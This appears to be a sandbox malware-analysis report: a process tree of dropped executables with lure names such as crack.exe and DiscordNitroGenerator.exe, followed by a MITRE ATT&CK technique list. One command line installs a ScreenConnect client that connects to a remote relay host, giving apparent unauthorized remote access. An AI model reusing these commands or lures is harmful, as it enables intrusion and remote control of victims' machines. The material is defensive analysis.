- C:\Users\Admin\AppData\Local\Temp\Files\ApertureLab.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ApertureLab.exe"
  2⤵
  PID:6620
- - C:\Users\Admin\AppData\Roaming\updtewinsup221\client32.exe
    "C:\Users\Admin\AppData\Roaming\updtewinsup221\client32.exe"
    3⤵
    PID:7804
- C:\Users\Admin\AppData\Local\Temp\Files\crack.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\crack.exe"
  2⤵
  PID:9384
- C:\Users\Admin\AppData\Local\Temp\Files\crack.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\crack.exe"
  2⤵
  PID:7648
- C:\Users\Admin\AppData\Local\Temp\Files\Discord2.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Discord2.exe"
  2⤵
  PID:9048
- C:\Users\Admin\AppData\Local\Temp\Files\CryptoWall.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\CryptoWall.exe"
  2⤵
  PID:9588
- C:\Users\Admin\AppData\Local\Temp\Files\DiscordNitroGenerator.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\DiscordNitroGenerator.exe"
  2⤵
  PID:9496
- C:\Users\Admin\AppData\Local\Temp\Files\DiscordSpotifyBypass.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\DiscordSpotifyBypass.exe"
  2⤵
  PID:7880
- - C:\Users\Admin\AppData\Local\Temp\onefile_7880_133855170294449107\DiscordSpotifyBypass.exe
    C:\Users\Admin\AppData\Local\Temp\Files\DiscordSpotifyBypass.exe
    3⤵
    PID:9704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3572

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3896

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:968

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4300

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:2328

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:468

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:4112

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3344

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1640

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2120

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3232

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:7036

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:7136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2976

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:6324

C:\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_2.50.24002.0_x64__8wekyb3d8bbwe\GameBar.exe
"C:\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_2.50.24002.0_x64__8wekyb3d8bbwe\GameBar.exe" -ServerName:App.AppXbdkk0yrkwpcgeaem8zk81k8py1eaahny.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService
1⤵
- Checks processor information in registry
- Modifies registry class
PID:2712

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4684

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:7180
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 219DB69D64D1D81F59B1C02872AF4BE9 C
  2⤵
  PID:8276
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9DD2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241541125 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:5192
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:9208
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 1989FD0734D33D524EF12C88DD78715D
  2⤵
  PID:308
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 3267DF0B2966D62F98239122342F5185 E Global\MSI0000
  2⤵
  PID:8684

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:7632

C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-mopgxp-relay.screenconnect.com&p=443&s=56c23b78-3779-41cf-b25a-7d05145c174f&k=BgIAAACkAABSU0ExAAgAAAEAAQDxpGM0rTI0l8R0YLrTUzvMcrFQNqikChKeeFwAqXuisgso7fbvFB9droohm6UmQv424CATiaSN1Dt5a7kzqYdmjZ4VE89TMUaaWTKGqR%2f3mJaR3nx5CFRFBOcbC4aJ%2fYGQruf%2fG%2bwSiyyJUq81chi9Q%2bjeSddfXje0sdUcQjXy%2bwQ9pYBKEIBykIjdfke7XkghkNvuPAzOOFFT3Zw51dAeVb95GKEPqua3UVbsvJelXXUIjHU9JgO8mvqdK8BkIEpRk7Kw5rM%2b9U4lOr155WB1ziC%2fwZ8c7Nh9LiDyyrrXdxR%2b431d8YgPdkT8%2fWN%2bnHbTsnYgWJodyh8tx0u7qg6t&c=joemark%20llc&c=melnimer.com&c=melnimer&c=pc&c=&c=&c=&c="
1⤵
PID:7756
- C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (e89d9b3b19f1f9d9)\ScreenConnect.WindowsClient.exe" "RunRole" "5acdd8aa-aba5-4676-8967-4b931cf507f5" "User"
  2⤵
  PID:8024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery